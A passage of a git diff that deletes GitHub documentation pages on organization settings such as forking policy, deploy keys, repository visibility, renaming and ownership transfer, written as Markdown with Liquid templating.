reusables.reminders.scheduled-reminders %} -{% data reusables.reminders.delete %} - -## Further reading - -* [Getting started](https://github.com/integrations/slack?tab=readme-ov-file#getting-started) in the Slack integrations documentation -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders) -* [AUTOTITLE](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team) diff --git a/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md b/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md deleted file mode 100644 index 3106e72732dd..000000000000 --- a/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Managing the commit signoff policy for your organization -intro: 'You can require users to automatically sign off all commits they make in {% data variables.product.github %}''s web interface to repositories owned by your organization.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: Organization owners can require all commits to repositories owned by the organization be signed off by the commit author. -topics: - - Organizations -shortTitle: Manage the commit signoff policy ---- - -## About commit signoffs - -To affirm that a commit complies with the rules and licensing governing a repository, many organizations require developers to sign off on every commit. If your organization requires commit signoffs, you can make signing off a seamless part of the commit process by enabling compulsory commit signoffs for users committing through {% data variables.product.github %}'s web interface. After you enable compulsory commit signoffs for an organization, every commit made to repositories in that organization through the web interface will automatically be signed off on by the commit author. - -People with admin access to a repository can also enable compulsory commit signoffs at the repository level. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository). - -{% data reusables.repositories.commit-signoffs %} - -## Managing compulsory commit signoffs for your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.repository-defaults %} -1. Select or deselect **Require contributors to sign off on web-based commits**. diff --git a/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md deleted file mode 100644 index f92c456a907c..000000000000 --- a/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Managing the default branch name for repositories in your organization -intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.product.prodname_dotcom %}.' -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization -permissions: Organization owners can manage the default branch name for new repositories in the organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage default branch name ---- - -## About management of the default branch name - -When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.github %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -{% data reusables.branches.change-default-branch %} - -If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}[AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name){% else %}[AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name){% endif %} and [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch). - -## Setting the default branch name - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.repository-defaults %} -1. Under "Repository default branch", click **Change default branch name now**. -1. In the text field, type the default name that you would like to use for new branches. -1. Click **Update**. - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories) diff --git a/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md b/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md deleted file mode 100644 index d8e33f20558f..000000000000 --- a/content/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Managing the display of member names in your organization -intro: You can allow members of your organization to see a comment author's profile name in private repositories in the organization. -product: '{% data reusables.gated-features.display-names %}' -redirect_from: - - /articles/managing-the-display-of-member-names-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/managing-the-display-of-member-names-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage display of member names ---- - -Organization owners can manage the display of member names in an organization. - -![Screenshot of an issue comment. The header says "ashtom (Thomas Dohmke) commented 1 minute ago," with "(Thomas Dohmke)" outlined in dark orange.](/assets/images/help/issues/commenter-full-name.png) - -Changes to the display of usernames within an organization will affect the display of other people's usernames, not your own. Each organization member chooses their own profile name in their settings. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#changing-your-profile-name). - -{% ifversion ghes %} -You may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories).{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Repository Comments", select or deselect **Allow members to see comment author's profile name in private repositories**. -1. Click **Save**. diff --git a/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md deleted file mode 100644 index b8bbc51b1b81..000000000000 --- a/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Managing the forking policy for your organization -intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghec %} and internal{% endif %} repositories owned by your organization.' -redirect_from: - - /articles/allowing-people-to-fork-private-repositories-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/managing-the-forking-policy-for-your-organization -permissions: Organization owners can manage the forking policy for an organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage forking policy ---- - -By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec %} and internal{% endif %} repositories. - -If you allow forking of private{% ifversion ghes or ghec %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec %} or internal{% endif %} repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository). - -{% ifversion ghec or ghes %} -{% ifversion ghec %}If your organization is owned by an enterprise account, you{% else %}You{% endif %} may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories).{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.profile.org_member_privileges %} -1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes %}and internal {% endif %}repositories**. -{%- ifversion ghec or ghes %} -1. Optionally, if your organization is owned by an enterprise account, select a policy for where users are allowed to fork repositories. - - If repository forking policy is configured at the enterprise level, you won't be able to select a more permissive policy in your organization settings. -{%- endif %} -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) diff --git a/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md b/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md deleted file mode 100644 index a29111108c40..000000000000 --- a/content/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Managing the publication of GitHub Pages sites for your organization -intro: 'You can control whether organization members can publish {% data variables.product.prodname_pages %} sites from repositories in the organization{% ifversion ghec %} and restrict the visibilities that members can choose for the sites{% endif %}.' -permissions: 'Organization owners can manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization.' -product: '{% data reusables.gated-features.pages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/disabling-publication-of-github-pages-sites-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/managing-the-publication-of-github-pages-sites-for-your-organization -topics: - - Organizations - - Teams -shortTitle: Manage Pages site publication ---- - -{% ifversion fpt %} -You can choose to allow or disallow organization members from publishing {% data variables.product.prodname_pages %} sites. Organizations that use {% data variables.product.prodname_ghe_cloud %} can also choose to allow publicly published sites, privately published sites, both, or neither. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization). -{% elsif ghec %} -You can choose to allow organization members to create publicly published sites, privately published sites, both, or neither. For more information about access control for {% data variables.product.prodname_pages %} sites, see [AUTOTITLE](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site). -{% endif %} - -If you disallow publication of {% data variables.product.prodname_pages %} sites, any sites that are already published will remain published. You can manually unpublish the site. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -{% ifversion fpt %} -1. Under "Pages creation, select or deselect **Public**. -{% elsif ghec %} -1. Under "Pages creation", select the visibilities you want to allow and deselect the visibilities you want to disallow. -{% else %} -1. Under "Pages creation", select or deselect **Allow members to publish sites**. -{% endif %} -{%- ifversion fpt or ghec %} - - {% data reusables.pages.privately-publish-ghec-only %}{%- endif %} - -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages) diff --git a/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md b/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md deleted file mode 100644 index ecebf4cd4955..000000000000 --- a/content/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Managing updates from accounts your organization sponsors -intro: You can manage the email address that receives updates from accounts your organization sponsors. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-updates-from-accounts-your-organization-sponsors -versions: - fpt: '*' - ghec: '*' -permissions: Organization owners can manage updates from accounts the organization sponsors. -topics: - - Organizations - - Teams -shortTitle: Manage sponsorship updates ---- - -The developers and organizations that your organization sponsors can send you updates about their work. You can manage the email address that receives these updates. - -You can also disable updates from accounts your organization sponsors. For more information, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship#managing-email-updates-for-your-sponsorship). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. Under "Sponsors update email (Private)", type the email address you want to receive updates from accounts your organization sponsors. -1. Click **Update profile**. - -## Further reading - -* [AUTOTITLE](/sponsors) diff --git a/content/organizations/managing-organization-settings/renaming-an-organization.md b/content/organizations/managing-organization-settings/renaming-an-organization.md deleted file mode 100644 index c8fce33687bc..000000000000 --- a/content/organizations/managing-organization-settings/renaming-an-organization.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Renaming an organization -intro: 'If your project or company has changed names, you can update the name of your organization to match.' -redirect_from: - - /articles/what-happens-when-i-change-my-organization-s-name - - /articles/renaming-an-organization - - /github/setting-up-and-managing-organizations-and-teams/renaming-an-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -> [!TIP] -> Only organization owners can rename an organization. {% data reusables.organizations.new-org-permissions-more-info %} - -## What happens when I change my organization's name? - -After changing your organization's name, your old organization name becomes available for someone else to claim. When you change your organization's name, most references to your repositories under the old organization name automatically change to the new name. However, some links to your profile won't automatically redirect. - -### Changes that occur automatically - -* {% data variables.product.prodname_dotcom %} automatically redirects references to your repositories. Web links to your organization's existing **repositories** will continue to work. This can take a few minutes to complete after you initiate the change. -* You can continue pushing your local repositories to the old remote tracking URL without updating it. However, we recommend you update all existing remote repository URLs after changing your organization name. Because your old organization name is available for use by anyone else after you change it, the new organization owner can create repositories that override the redirect entries to your repository. For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). -* Previous Git commits will also be correctly attributed to users within your organization.{% ifversion fpt or ghec %} -* {% data reusables.accounts.rename-account-repo-namespace-retirement %}{% endif %} -* {% data reusables.package_registry.rename-account-namespace-retirement %} - -### Changes that aren't automatic - -After changing your organization's name: -* Links to your previous organization profile page, such as `https://{% data variables.product.product_url %}/previousorgname`, will return a 404 error. We recommend you update links to your organization from other sites{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profiles{% endif %}. -* API requests that use the old organization's name will return a 404 error. We recommend you update the old organization name in your API requests. -* There are no automatic [@mention](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) redirects for teams that use the old organization's name.{% ifversion ghec %} -* If SAML single sign-on (SSO) and/or is enabled for the organization, you must update the organization name in the application for {% data variables.product.prodname_ghe_cloud %} on your identity provider (IdP). If you don't update the organization name on your IdP, members of the organization will no longer be able to authenticate with your IdP to access the organization's resources. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization). -* If SCIM is enabled for the organization, you must update the organization name in the application for {% data variables.product.prodname_ghe_cloud %} on your identity provider (IdP). If you don't update the organization name within the SCIM settings on your IdP, you will not be able to provision or deprovision users.{% endif %} - -## Changing your organization's name - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. Near the bottom of the settings page, under "Danger zone", click **Rename organization**. -1. Read the warning messages, then, if you want to go ahead, click **I understand, let's rename my organization**. -1. Type a new name for your organization, then click **Change organization's name**. - -## Further reading - -* [AUTOTITLE](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user) diff --git a/content/organizations/managing-organization-settings/restricting-deploy-keys-in-your-organization.md b/content/organizations/managing-organization-settings/restricting-deploy-keys-in-your-organization.md deleted file mode 100644 index 5044d97386e1..000000000000 --- a/content/organizations/managing-organization-settings/restricting-deploy-keys-in-your-organization.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Restricting deploy keys in your organization -intro: To protect your organization's data, you can configure permissions for creating deploy keys in your organization. -permissions: Organization owners. -versions: - feature: deploy-keys-enterprise-org-policy -topics: - - Organizations - - Policies -shortTitle: Restrict deploy keys ---- - -You can choose whether members can create deploy keys for repositories in your organization. - -By default, new organizations are configured to disallow the creation of deploy keys in repositories. - -Organization owners can restrict the creation of deploy keys to help prevent sensitive information from being exposed. For more information, see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization) and [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). If you want more fine-grained control over permissions, consider using a {% data variables.product.prodname_github_app %} instead. See [AUTOTITLE](/apps/overview). - -If your organization is owned by an enterprise account, you may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deploy-keys). - -> [!WARNING] -> Changing this setting to disabled will result in **existing deploy keys being disabled** in all repositories in the organization. Scripts, apps, or workflows that create, use, or delete deploy keys will no longer work. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.profile.org_member_privileges %} -1. Under "Deploy keys", review the information about changing the setting, click **Enabled** or **Disabled**. -1. Click **Save**. diff --git a/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md deleted file mode 100644 index 88dfbc148e48..000000000000 --- a/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Restricting repository creation in your organization -intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.' -redirect_from: - - /articles/restricting-repository-creation-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Restrict repository creation ---- - -{% ifversion repo-policy-rules %} - -## Setting a blanket policy - -{% endif %} - -You can choose whether members and {% data variables.product.prodname_github_apps %} can create repositories in your organization. {% ifversion ghec or ghes %}If you allow members and {% data variables.product.prodname_github_apps %} to create repositories, you can choose which types of repositories they can create.{% elsif fpt %}If you allow members and {% data variables.product.prodname_github_apps %} to create repositories, you can choose whether they can create both public and private repositories or public repositories only.{% endif %} Organization owners can always create any type of repository. - -{% ifversion fpt %} -Organizations using {% data variables.product.prodname_ghe_cloud %} can also restrict members to creating private repositories only. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization). -{% endif %} - -{% ifversion ghec or ghes %} -Enterprise owners can restrict the options you have available for your organization's repository creation policy. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation). -{% endif %} - -Organization owners can restrict the type of repositories members can create to private {% ifversion ghec or ghes %}or internal{% endif %} to help prevent sensitive information from being exposed. For more information, see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization). - -> [!WARNING] -> This setting restricts the visibility options available when repositories are _created_, but does not prevent changing the visibility of _existing_ repositories. For more information about restricting changes to existing repositories' visibilities, see [AUTOTITLE](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Repository creation", select one or more options.

- - {% ifversion fpt or ghec %} - - > [!NOTE] - > To restrict members to creating private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} - - {%- endif %} - -1. Click **Save**. - -{% ifversion repo-policy-rules %} - -## Setting a more flexible policy ({% data variables.release-phases.public_preview %}) - -{% data reusables.enterprise.repo-policy-rules-more-flexible %} - -{% endif %} diff --git a/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md b/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md deleted file mode 100644 index f9119ae7c169..000000000000 --- a/content/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Restricting repository visibility changes in your organization -intro: 'To protect your organization''s data, you can configure permissions for changing repository visibility in your organization.' -redirect_from: - - /articles/restricting-repository-visibility-changes-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-visibility-changes-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Set visibility changes policy -permissions: Organization owners can restrict repository visibility changes for an organization. ---- - -You can restrict who has the ability to change the visibility of repositories in your organization, such as changing a repository from private to public. For more information about repository visibility, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -Restricting who has the ability to change the visibility of repositories in your organization helps prevent sensitive information from being exposed. For more information, see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization). - -{% ifversion repo-policy-rules %} - -## Setting a blanket policy - -{% endif %} - -You can restrict the ability to change repository visibility to organization owners only, or you can allow anyone with admin access to a repository to change visibility. - -> [!WARNING] -> If this setting is enabled, individuals or {% data variables.product.prodname_github_apps %} with admin access can _modify_ the visibility of an existing repository even if the ability to _create_ a repository with that specific visibility has been disabled. For more information about restricting the visibility of repositories during creation, see [AUTOTITLE](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Repository visibility change", deselect **Allow members to change repository visibilities for this organization**. -1. Click **Save**. - -{% ifversion repo-policy-rules %} - -## Setting a more flexible policy ({% data variables.release-phases.public_preview %}) - -{% data reusables.enterprise.repo-policy-rules-more-flexible %} - -{% endif %} diff --git a/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md b/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md deleted file mode 100644 index 0e6de09c0aa2..000000000000 --- a/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Setting permissions for adding outside collaborators -intro: 'To protect your organization''s data and the number of paid licenses used in your organization, you can configure who can add outside collaborators to organization repositories.' -redirect_from: - - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories - - /articles/setting-permissions-for-adding-outside-collaborators - - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-adding-outside-collaborators -versions: - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Set collaborator policy ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -{% data reusables.organizations.about-outside-collaborators %} For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization). - -By default, anyone with admin access to a repository can invite outside collaborators to work on the repository. You can choose to restrict the ability to add outside collaborators to organization owners only. - -{% ifversion ghec %} - -> [!NOTE] -> Only organizations that use {% data variables.product.prodname_ghe_cloud %} can restrict the ability to invite outside collaborators to organization owners. {% data reusables.enterprise.link-to-ghec-trial %} - -{% endif %} - -{% ifversion ghec %}If your organization is owned by an enterprise account, you{% else %}You{% endif %} may not be able to configure this setting for your organization, if an enterprise owner has set a policy at the enterprise level. For more information, see [Enforcing repository management policies in your enterprise]{% ifversion ghec %}(/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-collaborators-to-repositories){% else %}(/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-outside-collaborators-to-repositories){% endif %}. - -{% data reusables.organizations.outside-collaborators-use-seats %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Repository outside collaborators", deselect **Allow repository administrators to invite outside collaborators to repositories for this organization**. -1. Click **Save**. diff --git a/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md b/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md deleted file mode 100644 index d85f8aeac414..000000000000 --- a/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Setting permissions for deleting or transferring repositories -intro: 'You can allow organization members with admin permissions to a repository to delete or transfer the repository, or limit the ability to delete or transfer repositories to organization owners only.' -redirect_from: - - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization - - /articles/setting-permissions-for-deleting-or-transferring-repositories - - /github/setting-up-and-managing-organizations-and-teams/setting-permissions-for-deleting-or-transferring-repositories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Set repo management policy ---- - -Owners can set permissions for deleting or transferring repositories in an organization. - -Limiting the ability to delete or transfer repositories helps prevent sensitive information from being exposed. For more information, see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization). - -{% ifversion repo-policy-rules %} - -## Setting a blanket policy - -{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Repository deletion and transfer", select or deselect **Allow members to delete or transfer repositories for this organization**. -1. Click **Save**. - -{% ifversion repo-policy-rules %} - -## Setting a more flexible policy ({% data variables.release-phases.public_preview %}) - -You can create a repository policy to govern who can delete or transfer repositories in your organization. Compared to "member privilege" policies, repository policies give you more flexibility over which users the policies apply to and which repositories are targeted. See [AUTOTITLE](/organizations/managing-organization-settings/governing-how-people-use-repositories-in-your-organization). - -{% endif %} diff --git a/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md b/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md deleted file mode 100644 index cd89dab9d68b..000000000000 --- a/content/organizations/managing-organization-settings/setting-team-creation-permissions-in-your-organization.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Setting team creation permissions in your organization -intro: You can allow all organization members to create teams or limit team creation to organization owners. -redirect_from: - - /articles/setting-team-creation-permissions-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/setting-team-creation-permissions-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Restrict team creation ---- - -Organization owners can set team creation permissions. - -If you do not set team creation permissions, all organization members will be able to create teams by default. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Team creation rules", select or deselect **Allow members to create teams**. -1. Click **Save**. diff --git a/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/content/organizations/managing-organization-settings/transferring-organization-ownership.md deleted file mode 100644 index 16e607974e21..000000000000 --- a/content/organizations/managing-organization-settings/transferring-organization-ownership.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Transferring organization ownership -intro: 'To make someone else the owner of an organization account, you must add a new owner{% ifversion fpt or ghec %}, ensure that the billing information is updated,{% endif %} and then remove yourself from the account.' -redirect_from: - - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else - - /articles/transferring-organization-ownership - - /github/setting-up-and-managing-organizations-and-teams/transferring-organization-ownership -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Transfer ownership ---- -{% ifversion ghec %} - -> [!NOTE] -> {% data reusables.enterprise-accounts.invite-organization %} - -{% endif %} - -1. If you're the only member with _owner_ privileges, give another organization member the owner role. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner). -1. Contact the new owner and make sure they are able to [access the organization's settings](/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings). -{% ifversion fpt or ghec %} -1. If you are currently responsible for paying for GitHub in your organization, you'll also need to have the new owner or a [billing manager](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization) update the organization's payment information. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method). - - > [!WARNING] - > Removing yourself from the organization **does not** update the billing information on file for the organization account. The new owner or a billing manager must update the billing information on file to remove your credit card or PayPal information. - -{% endif %} -1. [Remove yourself](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization) from the organization. diff --git a/content/organizations/managing-organization-settings/troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-organization.md b/content/organizations/managing-organization-settings/troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-organization.md deleted file mode 100644 index 5c4833b5c8d3..000000000000 --- a/content/organizations/managing-organization-settings/troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-organization.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Troubleshooting Azure private network configurations for GitHub-hosted runners in your organization -shortTitle: Troubleshooting Azure private networking -intro: 'Learn how to fix common issues while creating Azure private network configurations to use {% data variables.product.company_short %}-hosted runners with an Azure VNET.' -versions: - feature: actions-private-networking-azure-vnet -type: how_to -permissions: '{% data reusables.actions.azure-vnet-organization-permissions %}' -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD - - Organizations - - Troubleshooting ---- - -## Troubleshooting configuring private networking for {% data variables.product.company_short %}-hosted runners in your organization - -{% data reusables.actions.azure-vnet-hosted-compute-troubleshooting %} diff --git a/content/organizations/managing-organization-settings/upgrading-to-the-github-customer-agreement.md b/content/organizations/managing-organization-settings/upgrading-to-the-github-customer-agreement.md deleted file mode 100644 index 76de8bef9817..000000000000 --- a/content/organizations/managing-organization-settings/upgrading-to-the-github-customer-agreement.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Upgrading to the GitHub Customer Agreement -intro: Organizations can upgrade from the Standard Terms of Service to the {% data variables.product.company_short %} Customer Agreement. -redirect_from: - - /articles/upgrading-to-the-corporate-terms-of-service - - /github/setting-up-and-managing-organizations-and-teams/upgrading-to-the-corporate-terms-of-service - - /organizations/managing-organization-settings/upgrading-to-the-corporate-terms-of-service -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Upgrade to Corporate ToS ---- - -The Standard Terms of Service is an agreement between {% data variables.product.prodname_dotcom %} and you as an individual. To enter into an agreement with {% data variables.product.prodname_dotcom %} on behalf of an entity, such as a company, non-profit, or group, organization owners can upgrade to the {% data variables.product.company_short %} Customer Agreement. - -You can upgrade to the {% data variables.product.company_short %} Customer Agreement instead of 